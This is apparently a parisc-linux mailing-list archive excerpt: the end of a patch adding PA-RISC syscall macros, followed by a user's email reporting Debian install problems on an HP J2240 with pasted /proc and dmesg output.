+#elif defined(__PPC__) || defined(__hppa__)  /* big endian, 32 bits */
 #define PADDED(x, y)	unsigned y; x
 #define PADDEDptr(x, y)	unsigned y; x
 #define PADDEDul(x, y)	unsigned y; unsigned long x
diff -Nur a/src/syscall-parisc.h b/src/syscall-parisc.h
--- a/src/syscall-parisc.h	1969-12-31 19:00:00.000000000 -0500
+++ b/src/syscall-parisc.h	2006-01-02 22:26:17.000000000 -0500
@@ -0,0 +1,81 @@
+#define __syscall_nr(nr, type, name, args...)				\
+	unsigned long __sc_ret;						\
+	{								\
+		__sc_loadargs_##nr(name, args);				\
+		__asm__ __volatile__					\
+			("	ble  0x100(%%sr2, %%r0)\n"		\
+			 "	ldi  %1, %%r20\n"			\
+			: "=r" (__sc_res)				\
+			: "i" (__NR_##name), __sc_asm_input_##nr	\
+			: "memory", "%r1", "%r2", "%r20", "%r29",	\
+			  "%r31" __sc_clob_args_##nr			\
+		);							\
+		__sc_ret = (long)__sc_res;				\
+	}								\
+	if ((unsigned long)__sc_ret >= (unsigned long)-4095) {		\
+		__sc_ret = -1;						\
+	}								\
+	return __sc_ret
+
+#define __sc_loadargs_0(name, dummy...)					\
+	register unsigned long __sc_res __asm__("r28") = __NR_##name
+#define __sc_loadargs_1(name, arg1)					\
+	__sc_loadargs_0(name);						\
+	register unsigned long __sc_r26 __asm__("r26") = (unsigned long) (arg1)
+#define __sc_loadargs_2(name, arg1, arg2)				\
+	__sc_loadargs_1(name, arg1);					\
+	register unsigned long __sc_r25 __asm__("r25") = (unsigned long) (arg2)
+#define __sc_loadargs_3(name, arg1, arg2, arg3)				\
+	__sc_loadargs_2(name, arg1, arg2);				\
+	register unsigned long __sc_r24 __asm__("r24") = (unsigned long) (arg3)
+#define __sc_loadargs_4(name, arg1, arg2, arg3, arg4)			\
+	__sc_loadargs_3(name, arg1, arg2, arg3);			\
+	register unsigned long __sc_r23 __asm__("r23") = (unsigned long) (arg4)
+#define __sc_loadargs_5(name, arg1, arg2, arg3, arg4, arg5)		\
+	__sc_loadargs_4(name, arg1, arg2, arg3, arg4);			\
+	register unsigned long __sc_r22 __asm__("r22") = (unsigned long) (arg5)
+
+#define __sc_asm_input_0
+#define __sc_asm_input_1 "r" (__sc_r26)
+#define __sc_asm_input_2 __sc_asm_input_1, "r" (__sc_r25)
+#define __sc_asm_input_3 __sc_asm_input_2, "r" (__sc_r24)
+#define __sc_asm_input_4 __sc_asm_input_3, "r" (__sc_r23)
+#define __sc_asm_input_5 __sc_asm_input_4, "r" (__sc_r22)
+
+#define __sc_clob_args_5
+#define __sc_clob_args_4 __sc_clob_args_5, "%r22"
+#define __sc_clob_args_3 __sc_clob_args_4, "%r23"
+#define __sc_clob_args_2 __sc_clob_args_3, "%r24"
+#define __sc_clob_args_1 __sc_clob_args_2, "%r25"
+#define __sc_clob_args_0 __sc_clob_args_1, "%r26"
+
+
+#define io_syscall1(type,fname,sname,type1,arg1)				\
+type fname(type1 arg1)							\
+{									\
+	__syscall_nr(1, type, sname, arg1);				\
+}
+
+#define io_syscall2(type,fname,sname,type1,arg1,type2,arg2)		\
+type fname(type1 arg1, type2 arg2)					\
+{									\
+	__syscall_nr(2, type, sname, arg1, arg2);			\
+}
+
+#define io_syscall3(type,fname,sname,type1,arg1,type2,arg2,type3,arg3)	\
+type fname(type1 arg1, type2 arg2, type3 arg3)				\
+{									\
+	__syscall_nr(3, type, sname, arg1, arg2, arg3);			\
+}
+
+#define io_syscall4(type,fname,sname,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
+type fname(type1 arg1, type2 arg2, type3 arg3, type4 arg4)		\
+{									\
+	__syscall_nr(4, type, sname, arg1, arg2, arg3, arg4);		\
+}
+
+#define io_syscall5(type,fname,sname,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5) \
+type fname(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5)	\
+{									\
+	__syscall_nr(5, type, sname, arg1, arg2, arg3, arg4, arg5);	\
+}
diff -Nur a/src/syscall.h b/src/syscall.h
--- a/src/syscall.h	2005-04-01 15:31:32.000000000 -0500
+++ b/src/syscall.h	2006-01-02 21:58:28.000000000 -0500
@@ -22,6 +22,8 @@
 #include "syscall-s390.h"
 #elif defined(__alpha__)
 #include "syscall-alpha.h"
+#elif defined(__hppa__)
+#include "syscall-parisc.h"
 #else
 #error "add syscall-arch.h"
 #endif
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] J2240 - Almost there....
Date: Mon, 2 Jan 2006 20:19:55 -0500
Lines: 677
Approved: news@gmane.org
Message-ID: <000401c61003$cea58c60$3401a8c0@POGO>
References: <7d01f9f00601010615v54117490o9a575fd279244524@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623973 17599 80.91.229.3 (22 Nov 2014 02:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Thibaut VARENE'" <T-Bone@parisc-linux.org>,
 "'Grant Grundler'" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2006 01:20:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 03 Jan 2006 02:20:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 341E07D67D;
	Mon,  2 Jan 2006 18:20:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02623-07; Mon, 2 Jan 2006 18:20:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10DA27D67E;
	Mon,  2 Jan 2006 18:20:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B527E7D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 18:20:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02623-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jan 2006 18:20:20 -0700 (MST)
Original-Received: from mxsf27.cluster1.charter.net (mxsf27.cluster1.charter.net
	[209.225.28.227])
	by free.linux.hp.com (Postfix) with ESMTP id A61687D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Jan 2006 18:20:19 -0700 (MST)
Original-Received: from mxip05a.cluster1.charter.net (mxip05a.cluster1.charter.net
	[209.225.28.135])
	by mxsf27.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	k031K1VB009716 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Jan 2006 20:20:02 -0500
Original-Received: from 24-176-131-136.dhcp.sffl.va.charter.com (HELO POGO)
	([24.176.131.136])
	by mxip05a.cluster1.charter.net with ESMTP; 02 Jan 2006 20:20:01 -0500
X-IronPort-AV: i="3.99,323,1131339600"; 
	d="scan'208"; a="1668420162:sNHT23813156"
X-Mailer: Microsoft Office Outlook 11
Thread-Index: AcYO3dYlgGdv4MQAQV+B1MPlexxIVwBFLmjg
In-Reply-To: <7d01f9f00601010615v54117490o9a575fd279244524@mail.gmail.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N7TLY7hqeSEkY76WZHQhaXN1IGRvbwCh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23317

Sorry that it took so long to reply.  I spent most of the day driving to /
from Washington, DC yesterday.  Re-installed and ran into problems as
follows:

1) Got gdm prompt (black&white, really large), but was able to login.  Mouse
was not recognized after that so I was "stuck" in the desktop.  I was able
to login OK in single user command line mode.

2) Re-installed after getting the actual "advanced" HP p1120 console specs
(instead of "simple").  Re-install failed due to "SMP CALL FUNCTION TIMED
OUT! (cpu=0), try ###" errors (I powered off the box after about 2000 of
these).  Rebooted and got message to run "dpkg --configure -a".  Did that
and packages installed.  The system now tries to start gdm (flickers a lot),
but ultimately just goes to a blinking cursor  When I reboot (shutdown -r 0)
I now get the "Welcome to your new Debian system" prompt.  I guess maybe I
should re-install again????

3) Networking appears to not be working, I assumed that is because of the
"blacklisted" FDDI card (defxx,DEFPA).  The box has an internal IP address
192.168.1.100 and I can't even ping it.  However, I cannot ping the box when
booted into HP-UX either (192.168.1.200).  Bad card (I tried the obvious of
another cable)????

To get the info. requsted below w/o a LAN, I "cheated" and started a getty
against a serial port, logged in via a Reflection session, and logged to an
output file... not pretty, but functional.  Sorry if this is more than you
wanted to see.  I have been unsuccessful trying to set up an entry in
/etc/inittab in HP-UX that will spawn a getty on the serial port equivalent
to ttyS0 in Linux... any pointers would be appreciated (it has been a long
time) then I can get the ioscan -fk output.

*******************************************
Linux Info
*******************************************

Debian GNU/Linux 3.1 howlin ttyS0

howlin login: 
Debian GNU/Linux 3.1 howlin ttyS0

howlin login: root
Password: 
Linux howlin 2.6.8-2-32-smp #1 SMP Wed Aug 24 17:55:41 UTC 2005 parisc
GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted
by applicable law.
howlin:~#
howlin:~# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8200 (PCX-U+)
cpu MHz         : 236.000000
model           : 9000/782/J2240
model name      : SummitHawk U+
hversion        : 0x00005b50
sversion        : 0x00000491
I-cache         : 2048 KB
D-cache         : 2048 KB (WB, 0-way associative)
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (16 combined) BTLB var-entr.  : 0
instruction, 0 data (0 combined)
bogomips        : 470.22
software id     : 2002047818

processor       : 1
cpu family      : PA-RISC 2.0
cpu             : PA8200 (PCX-U+)
cpu MHz         : 236.000000
model           : 9000/782/J2240
model name      : SummitHawk U+
hversion        : 0x00005b50
sversion        : 0x00000491
I-cache         : 2048 KB
D-cache         : 2048 KB (WB, 0-way associative)
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (16 combined) BTLB var-entr.  : 0
instruction, 0 data (0 combined)
bogomips        : 470.22
software id     : 2002047818

howlin:~# cat /proc/iomem
00000000-7fffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-003b4fff : Kernel code
  003b5000-00513b03 : Kernel data
f0190000-f0190000 : lcd_cmd
f0190001-f0190001 : lcd_data
f1600000-f3ffffff : GSC Bus [10/]
  f1604000-f1604fff : Cujo
  f1607800-f1607807 : serial
  f1800000-f1ffffff : Cujo LMMIO 0
f4000000-f5ffffff : GSC Bus [8/]
f6000000-f7ffffff : GSC Bus [10/]
  f6000000-f7ffffff : Cujo LMMIO 1
    f6000000-f7ffffff : 0000:02:00.0
      f6100000-f64fffff : stifb mmio
      f7000000-f71fffff : stifb fb
f8000000-fff7ffff : GSC Bus [8/]
  fc000000-fc000fff : Cujo
  fc003800-fc003807 : serial
  fc004000-fc004fff : Dino [8/4]
  fc800000-fcffffff : Dino [8/4] LMMIO 0
    fc800000-fc800fff : 0000:01:13.0
      fc800000-fc800fff : sym53c8xx
    fc801000-fc8010ff : 0000:01:13.0
      fc801000-fc8010ff : sym53c8xx
    fc802000-fc80207f : 0000:01:14.0
      fc802000-fc80207f : tulip
  fd800000-fdffffff : Cujo LMMIO 0
    fd800000-fd80ffff : 0000:00:04.0
    fd810000-fd81007f : 0000:00:03.0
      fd810000-fd81007f : tulip
    fd811000-fd81107f : 0000:00:04.0
  ffd00000-ffdfffff : Lasi
    ffd00000-ffd00fff : Lasi
    ffd06000-ffd06fff : Lasi SCSI
    ffd08000-ffd08fff : GSC PS2
fff80000-fffaffff : Central Bus
  fff88000-fff88fff : U2:Uturn
  fff8a000-fff8afff : U2:Uturn
  fffa0000-fffa0fff : CPU
  fffa2000-fffa2fff : CPU
fffb0000-fffdffff : Local Broadcast
fffe0000-ffffffff : Global Broadcast
howlin:~# cat /proc/ioports
00000000-0000ffff : Cujo I/O Port
  00000080-000000ff : 0000:00:03.0
    00000080-000000ff : tulip
  00000100-0000017f : 0000:00:04.0
00010000-0001ffff : Dino I/O Port
  00010000-000100ff : 0000:01:13.0
    00010000-000100ff : sym53c8xx
  00010100-0001017f : 0000:01:14.0
    00010100-0001017f : tulip
00020000-0002ffff : Cujo I/O Port
howlin:~# cat /proc/interrupts/
cat: /proc/interrupts/: Not a directory
howlin:~# cat /proc/interrupts 
           CPU00       CPU01 
 32:     125984     124641      PARISC-CPU  timer
 33:       8458       9035      PARISC-CPU  IPI
 34:        120          0      PARISC-CPU  lasi
 35:          0       1274      PARISC-CPU  Cujo
 36:       7095          0      PARISC-CPU  Dino [8/4]
 37:          0          0      PARISC-CPU  Cujo
 69:         41          0            Lasi  GSC PS2 keyboard, GSC PS2 mouse
 86:         79          0            Lasi  lasi700
 99:          0        858            Cujo  eth0
106:          0        417            Cujo  serial
131:       7095          0      Dino [8/4]  sym53c8xx
howlin:~# dmesg
Linux version 2.6.8-2-32-smp (root@palinux) (gcc version 3.3.5 (Debian
1:3.3.5-1
3)) #1 SMP Wed Aug 24 17:55:41 UTC 2005
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005b50 00000491 00000000 00000002 7754d34a 100000f0 00000008
000000b2 00
0000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
capabilities 0x2
model 9000/782/J2240
Total Memory: 2048 Mb
initrd: 4fb30000-4ffee000
initrd: reserving 3fb30000-3ffee000 (mem_max 80000000) On node 0 totalpages:
524288
  DMA zone: 524288 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LCD display at f0190000,f0190001 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists
Kernel command line: root=/dev/sda5 HOME=/ console=tty0 sti=10/4/0/0
sti_font=VG
A8x16 TERM=linux palo_kernel=2/vmlinux
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Memory: 2097152k available
Calibrating delay loop... 470.22 BogoMIPS Security Scaffold v1.0.0
initialized Capability LSM initialized Mount-cache hash table entries: 512
(order: 0, 4096 bytes) Brought up 1 CPUs
CPU0:  online
 domain 0: span ffffffff
  groups: 00000001 00000002 00000004 00000008 00000010 00000020 00000040
0000008 0 00000100 00000200 00000400 00000800 00001000 00002000 00004000
00008000 000100 00 00020000 00040000 00080000 00100000 00200000 00400000
00800000 01000000 02000 000 04000000 08000000 10000000 20000000 40000000
80000000
CPU1: offline
 domain 0: span ffffffff
  groups: 00000002 00000004 00000008 00000010 00000020 00000040 00000080
0000010 0 00000200 00000400 00000800 00001000 00002000 00004000 00008000
00010000 000200 00 00040000 00080000 00100000 00200000 00400000 00800000
01000000 02000000 04000 000 08000000 10000000 20000000 40000000 80000000
00000001
CPU2: offline
 domain 0: span ffffffff
  groups: 00000004 00000008 00000010 00000020 00000040 00000080 00000100
0000020 0 00000400 00000800 00001000 00002000 00004000 00008000 00010000
00020000 000400 00 00080000 00100000 00200000 00400000 00800000 01000000
02000000 04000000 08000 000 10000000 20000000 40000000 80000000 00000001
00000002
CPU3: offline
 domain 0: span ffffffff
  groups: 00000008 00000010 00000020 00000040 00000080 00000100 00000200
0000040 0 00000800 00001000 00002000 00004000 00008000 00010000 00020000
00040000 000800 00 00100000 00200000 00400000 00800000 01000000 02000000
04000000 08000000 10000 000 20000000 40000000 80000000 00000001 00000002
00000004
CPU4: offline
 domain 0: span ffffffff
  groups: 00000010 00000020 00000040 00000080 00000100 00000200 00000400
0000080 0 00001000 00002000 00004000 00008000 00010000 00020000 00040000
00080000 001000 00 00200000 00400000 00800000 01000000 02000000 04000000
08000000 10000000 20000 000 40000000 80000000 00000001 00000002 00000004
00000008
CPU5: offline
 domain 0: span ffffffff
  groups: 00000020 00000040 00000080 00000100 00000200 00000400 00000800
0000100 0 00002000 00004000 00008000 00010000 00020000 00040000 00080000
00100000 002000 00 00400000 00800000 01000000 02000000 04000000 08000000
10000000 20000000 40000 000 80000000 00000001 00000002 00000004 00000008
00000010
CPU6: offline
 domain 0: span ffffffff
  groups: 00000040 00000080 00000100 00000200 00000400 00000800 00001000
0000200 0 00004000 00008000 00010000 00020000 00040000 00080000 00100000
00200000 004000 00 00800000 01000000 02000000 04000000 08000000 10000000
20000000 40000000 80000 000 00000001 00000002 00000004 00000008 00000010
00000020
CPU7: offline
 domain 0: span ffffffff
  groups: 00000080 00000100 00000200 00000400 00000800 00001000 00002000
0000400 0 00008000 00010000 00020000 00040000 00080000 00100000 00200000
00400000 008000 00 01000000 02000000 04000000 08000000 10000000 20000000
40000000 80000000 00000
001 00000002 00000004 00000008 00000010 00000020 00000040
CPU8: offline
 domain 0: span ffffffff
  groups: 00000100 00000200 00000400 00000800 00001000 00002000 00004000
0000800 0 00010000 00020000 00040000 00080000 00100000 00200000 00400000
00800000 010000 00 02000000 04000000 08000000 10000000 20000000 40000000
80000000 00000001 00000
002 00000004 00000008 00000010 00000020 00000040 00000080
CPU9: offline
 domain 0: span ffffffff
  groups: 00000200 00000400 00000800 00001000 00002000 00004000 00008000
0001000 0 00020000 00040000 00080000 00100000 00200000 00400000 00800000
01000000 020000 00 04000000 08000000 10000000 20000000 40000000 80000000
00000001 00000002 00000
004 00000008 00000010 00000020 00000040 00000080 00000100
CPU10: offline
 domain 0: span ffffffff
  groups: 00000400 00000800 00001000 00002000 00004000 00008000 00010000
0002000 0 00040000 00080000 00100000 00200000 00400000 00800000 01000000
02000000 040000 00 08000000 10000000 20000000 40000000 80000000 00000001
00000002 00000004 00000
008 00000010 00000020 00000040 00000080 00000100 00000200
CPU11: offline
 domain 0: span ffffffff
  groups: 00000800 00001000 00002000 00004000 00008000 00010000 00020000
0004000 0 00080000 00100000 00200000 00400000 00800000 01000000 02000000
04000000 080000 00 10000000 20000000 40000000 80000000 00000001 00000002
00000004 00000008 00000 010 00000020 00000040 00000080 00000100 00000200
00000400
CPU12: offline
 domain 0: span ffffffff
  groups: 00001000 00002000 00004000 00008000 00010000 00020000 00040000
0008000 0 00100000 00200000 00400000 00800000 01000000 02000000 04000000
08000000 100000 00 20000000 40000000 80000000 00000001 00000002 00000004
00000008 00000010 00000 020 00000040 00000080 00000100 00000200 00000400
00000800
CPU13: offline
 domain 0: span ffffffff
  groups: 00002000 00004000 00008000 00010000 00020000 00040000 00080000
0010000 0 00200000 00400000 00800000 01000000 02000000 04000000 08000000
10000000 200000 00 40000000 80000000 00000001 00000002 00000004 00000008
00000010 00000020 00000 040 00000080 00000100 00000200 00000400 00000800
00001000
CPU14: offline
 domain 0: span ffffffff
  groups: 00004000 00008000 00010000 00020000 00040000 00080000 00100000
0020000 0 00400000 00800000 01000000 02000000 04000000 08000000 10000000
20000000 400000 00 80000000 00000001 00000002 00000004 00000008 00000010
00000020 00000040 00000 080 00000100 00000200 00000400 00000800 00001000
00002000
CPU15: offline
 domain 0: span ffffffff
  groups: 00008000 00010000 00020000 00040000 00080000 00100000 00200000
0040000 0 00800000 01000000 02000000 04000000 08000000 10000000 20000000
40000000 800000 00 00000001 00000002 00000004 00000008 00000010 00000020
00000040 00000080 00000 100 00000200 00000400 00000800 00001000 00002000
00004000
CPU16: offline
 domain 0: span ffffffff
  groups: 00010000 00020000 00040000 00080000 00100000 00200000 00400000
0080000 0 01000000 02000000 04000000 08000000 10000000 20000000 40000000
80000000 000000
01 00000002 00000004 00000008 00000010 00000020 00000040 00000080 00000100
00000 200 00000400 00000800 00001000 00002000 00004000 00008000
CPU17: offline
 domain 0: span ffffffff
  groups: 00020000 00040000 00080000 00100000 00200000 00400000 00800000
0100000 0 02000000 04000000 08000000 10000000 20000000 40000000 80000000
00000001 000000
02 00000004 00000008 00000010 00000020 00000040 00000080 00000100 00000200
00000 400 00000800 00001000 00002000 00004000 00008000 00010000
CPU18: offline
 domain 0: span ffffffff
  groups: 00040000 00080000 00100000 00200000 00400000 00800000 01000000
0200000 0 04000000 08000000 10000000 20000000 40000000 80000000 00000001
00000002 000000
04 00000008 00000010 00000020 00000040 00000080 00000100 00000200 00000400
00000 800 00001000 00002000 00004000 00008000 00010000 00020000
CPU19: offline
 domain 0: span ffffffff
  groups: 00080000 00100000 00200000 00400000 00800000 01000000 02000000
0400000 0 08000000 10000000 20000000 40000000 80000000 00000001 00000002
00000004 000000
08 00000010 00000020 00000040 00000080 00000100 00000200 00000400 00000800
00001 000 00002000 00004000 00008000 00010000 00020000 00040000
CPU20: offline
 domain 0: span ffffffff
  groups: 00100000 00200000 00400000 00800000 01000000 02000000 04000000
0800000 0 10000000 20000000 40000000 80000000 00000001 00000002 00000004
00000008 000000 10 00000020 00000040 00000080 00000100 00000200 00000400
00000800 00001000 00002 000 00004000 00008000 00010000 00020000 00040000
00080000
CPU21: offline
 domain 0: span ffffffff
  groups: 00200000 00400000 00800000 01000000 02000000 04000000 08000000
1000000 0 20000000 40000000 80000000 00000001 00000002 00000004 00000008
00000010 000000 20 00000040 00000080 00000100 00000200 00000400 00000800
00001000 00002000 00004 000 00008000 00010000 00020000 00040000 00080000
00100000
CPU22: offline
 domain 0: span ffffffff
  groups: 00400000 00800000 01000000 02000000 04000000 08000000 10000000
2000000 0 40000000 80000000 00000001 00000002 00000004 00000008 00000010
00000020 000000 40 00000080 00000100 00000200 00000400 00000800 00001000
00002000 00004000 00008 000 00010000 00020000 00040000 00080000 00100000
00200000
CPU23: offline
 domain 0: span ffffffff
  groups: 00800000 01000000 02000000 04000000 08000000 10000000 20000000
4000000 0 80000000 00000001 00000002 00000004 00000008 00000010 00000020
00000040 000000 80 00000100 00000200 00000400 00000800 00001000 00002000
00004000 00008000 00010 000 00020000 00040000 00080000 00100000 00200000
00400000
CPU24: offline
 domain 0: span ffffffff
  groups: 01000000 02000000 04000000 08000000 10000000 20000000 40000000
8000000 0 00000001 00000002 00000004 00000008 00000010 00000020 00000040
00000080 000001 00 00000200 00000400 00000800 00001000 00002000 00004000
00008000 00010000 00020 000 00040000 00080000 00100000 00200000 00400000
00800000
CPU25: offline
 domain 0: span ffffffff
  groups: 02000000 04000000 08000000 10000000 20000000 40000000 80000000
0000000
1 00000002 00000004 00000008 00000010 00000020 00000040 00000080 00000100
000002 00 00000400 00000800 00001000 00002000 00004000 00008000 00010000
00020000 00040 000 00080000 00100000 00200000 00400000 00800000 01000000
CPU26: offline
 domain 0: span ffffffff
  groups: 04000000 08000000 10000000 20000000 40000000 80000000 00000001
0000000
2 00000004 00000008 00000010 00000020 00000040 00000080 00000100 00000200
000004 00 00000800 00001000 00002000 00004000 00008000 00010000 00020000
00040000 00080 000 00100000 00200000 00400000 00800000 01000000 02000000
CPU27: offline
 domain 0: span ffffffff
  groups: 08000000 10000000 20000000 40000000 80000000 00000001 00000002
0000000
4 00000008 00000010 00000020 00000040 00000080 00000100 00000200 00000400
000008 00 00001000 00002000 00004000 00008000 00010000 00020000 00040000
00080000 00100 000 00200000 00400000 00800000 01000000 02000000 04000000
CPU28: offline
 domain 0: span ffffffff
  groups: 10000000 20000000 40000000 80000000 00000001 00000002 00000004
0000000
8 00000010 00000020 00000040 00000080 00000100 00000200 00000400 00000800
000010 00 00002000 00004000 00008000 00010000 00020000 00040000 00080000
00100000 00200 000 00400000 00800000 01000000 02000000 04000000 08000000
CPU29: offline
 domain 0: span ffffffff
  groups: 20000000 40000000 80000000 00000001 00000002 00000004 00000008
0000001 0 00000020 00000040 00000080 00000100 00000200 00000400 00000800
00001000 000020 00 00004000 00008000 00010000 00020000 00040000 00080000
00100000 00200000 00400 000 00800000 01000000 02000000 04000000 08000000
10000000
CPU30: offline
 domain 0: span ffffffff
  groups: 40000000 80000000 00000001 00000002 00000004 00000008 00000010
0000002 0 00000040 00000080 00000100 00000200 00000400 00000800 00001000
00002000 000040 00 00008000 00010000 00020000 00040000 00080000 00100000
00200000 00400000 00800 000 01000000 02000000 04000000 08000000 10000000
20000000
CPU31: offline
 domain 0: span ffffffff
  groups: 80000000 00000001 00000002 00000004 00000008 00000010 00000020
0000004 0 00000080 00000100 00000200 00000400 00000800 00001000 00002000
00004000 000080 00 00010000 00020000 00040000 00080000 00100000 00200000
00400000 00800000 01000 000 02000000 04000000 08000000 10000000 20000000
40000000 checking if image is initramfs...it isn't (ungzip failed); looks
like an initrd
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b } 2.
unknown device at 0xfc000000 [8/0] { 13, 0x3, 0x05d, 0x0000a },  additional
a
ddresses: 0xfd800000
3. SummitHawk Dino RS-232 at 0xfc003000 [8/0/63] { 10, 0x0, 0x05d, 0x0008c }
4. Dino PCI Bridge at 0xfc004000 [8/4] { 13, 0x3, 0x680, 0x0000a },
additional
addresses: 0xfc800000
5. SummitHawk 230 Core BA at 0xffd00000 [8/12] { 11, 0x0, 0x05c, 0x00081 },
add itional addresses: 0xffd0c000 0xffc00000 6. SummitHawk 230 Core
Centronics at 0xffd02000 [8/12/0] { 10, 0x0, 0x05c, 0x000
74 },  additional addresses: 0xffd01000 0xffd03000 7. SummitHawk 230 Core
Audio at 0xffd04000 [8/12/1] { 10, 0x4, 0x05c, 0x0007b } 8. SummitHawk 230
Core SCSI at 0xffd06000 [8/12/5] { 10, 0x0, 0x05c, 0x00082 } 9. SummitHawk
230 Core PS/2 Port at 0xffd08000 [8/12/7] { 10, 0x0, 0x05c, 0x0008
4 }
10. SummitHawk 230 Core PS/2 Port at 0xffd08100 [8/12/8] { 10, 0x0, 0x05c,
0x000
84 }
11. U2-IOA BC GSC+ Port at 0xfc03f000 [8/63] { 7, 0x1, 0x501, 0x0000c } 12.
U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b } 13.
Cujo PCI Bridge at 0xf1604000 [10/4] { 13, 0x1, 0x682, 0x0000a },  additiona
l addresses: 0xf1800000 0xf6000000 14. SummitHawk Dino RS-232 at 0xf1607000
[10/4/63] { 10, 0x0, 0x05d, 0x0008c } 15. U2-IOA BC GSC+ Port at 0xf163f000
[10/63] { 7, 0x1, 0x501, 0x0000c } 16. SummitHawk U+ at 0xfffa0000 [32] { 0,
0x0, 0x5b5, 0x00004 } 17. SummitHawk U+ at 0xfffa2000 [34] { 0, 0x0, 0x5b5,
0x00004 } 18. Memory at 0xfffb1000 [49] { 1, 0x0, 0x083, 0x00009 } Releasing
cpu 1 now, hpa=fffa2000 FP[1] enabled: Rev 0 Model 14
CPU(s): 2 x PA8200 (PCX-U+) at 236.000000 MHz Found U2 at 0xfff88000 Found
U2 at 0xfff8a000 Lasi version 0 at 0xffd00000 found.
Cujo version unknown found at 0xfc000000 Dino [8/4] version 3.1 found at
0xfc004000 Cujo version 2.0 found at 0xf1604000 Enabling Cujo 2.0 bug
workaround SCSI subsystem initialized TC classifier action (bugs to
netdev@oss.sgi.com cc hadi@cyberus.ca) STI GSC/PCI core graphics driver
